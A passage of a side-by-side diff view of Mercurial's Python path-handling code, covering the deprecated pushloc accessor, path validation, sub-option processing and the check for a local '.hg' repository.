914 | new._setup_url(self._pushloc) | |
909 | return new |
|
915 | return new | |
910 |
|
916 | |||
911 | def pushloc(self): |
|
917 | def pushloc(self): | |
912 | """compatibility layer for the deprecated attributes""" |
|
918 | """compatibility layer for the deprecated attributes""" | |
913 | from .. import util # avoid a cycle |
|
919 | from .. import util # avoid a cycle | |
914 |
|
920 | |||
915 | msg = "don't use path.pushloc, use path.get_push_variant()" |
|
921 | msg = "don't use path.pushloc, use path.get_push_variant()" | |
916 | util.nouideprecwarn(msg, b"6.5") |
|
922 | util.nouideprecwarn(msg, b"6.5") | |
917 | return self._pushloc |
|
923 | return self._pushloc | |
918 |
|
924 | |||
919 | def _validate_path(self): |
|
925 | def _validate_path(self): | |
920 | # When given a raw location but not a symbolic name, validate the |
|
926 | # When given a raw location but not a symbolic name, validate the | |
921 | # location is valid. |
|
927 | # location is valid. | |
922 | if ( |
|
928 | if ( | |
923 | not self.name |
|
929 | not self.name | |
924 | and not self.url.scheme |
|
930 | and not self.url.scheme | |
925 | and not self._isvalidlocalpath(self.loc) |
|
931 | and not self._isvalidlocalpath(self.loc) | |
926 | ): |
|
932 | ): | |
927 | raise ValueError( |
|
933 | raise ValueError( | |
928 | b'location is not a URL or path to a local ' |
|
934 | b'location is not a URL or path to a local ' | |
929 | b'repo: %s' % self.rawloc |
|
935 | b'repo: %s' % self.rawloc | |
930 | ) |
|
936 | ) | |
931 |
|
937 | |||
932 | def _apply_suboptions(self, ui, sub_options): |
|
938 | def _apply_suboptions(self, ui, sub_options): | |
933 | # Now process the sub-options. If a sub-option is registered, its |
|
939 | # Now process the sub-options. If a sub-option is registered, its | |
934 | # attribute will always be present. The value will be None if there |
|
940 | # attribute will always be present. The value will be None if there | |
935 | # was no valid sub-option. |
|
941 | # was no valid sub-option. | |
936 | for suboption, (attr, func) in _pathsuboptions.items(): |
|
942 | for suboption, (attr, func) in _pathsuboptions.items(): | |
937 | if suboption not in sub_options: |
|
943 | if suboption not in sub_options: | |
938 | setattr(self, attr, None) |
|
944 | setattr(self, attr, None) | |
939 | continue |
|
945 | continue | |
940 |
|
946 | |||
941 | value = func(ui, self, sub_options[suboption]) |
|
947 | value = func(ui, self, sub_options[suboption]) | |
942 | setattr(self, attr, value) |
|
948 | setattr(self, attr, value) | |
943 |
|
949 | |||
944 | def _isvalidlocalpath(self, path): |
|
950 | def _isvalidlocalpath(self, path): | |
945 | """Returns True if the given path is a potentially valid repository. |
|
951 | """Returns True if the given path is a potentially valid repository. | |
946 | This is its own function so that extensions can change the definition of |
|
952 | This is its own function so that extensions can change the definition of | |
947 | 'valid' in this case (like when pulling from a git repo into a hg |
|
953 | 'valid' in this case (like when pulling from a git repo into a hg | |
948 | one).""" |
|
954 | one).""" | |
949 | try: |
|
955 | try: | |
950 | return os.path.isdir(os.path.join(path, b'.hg')) |
|
956 | return os.path.isdir(os.path.join(path, b'.hg')) | |
951 | # Python 2 may return TypeError. Python 3, ValueError. |
|
957 | # Python 2 may return TypeError. Python 3, ValueError. | |
952 | except (TypeError, ValueError): |
|
958 | except (TypeError, ValueError): | |
953 | return False |
|
959 | return False | |
954 |
|
960 | |||
955 | @property |
|
961 | @property | |
956 | def suboptions(self): |
|
962 | def suboptions(self): | |
957 | """Return sub-options and their values for this path. |
|
963 | """Return sub-options and their values for this path. | |
958 |
|
964 | |||
959 | This is intended to be used for presentation purposes. |
|
965 | This is intended to be used for presentation purposes. | |
960 | """ |
|
966 | """ | |
961 | d = {} |
|
967 | d = {} | |
962 | for subopt, (attr, _func) in _pathsuboptions.items(): |
|
968 | for subopt, (attr, _func) in _pathsuboptions.items(): | |
963 | value = getattr(self, attr) |
|
969 | value = getattr(self, attr) | |
964 | if value is not None: |
|
970 | if value is not None: | |
965 | d[subopt] = value |
|
971 | d[subopt] = value | |
966 | return d |
|
972 | return d |
General Comments 0
You need to be logged in to leave comments.
Login now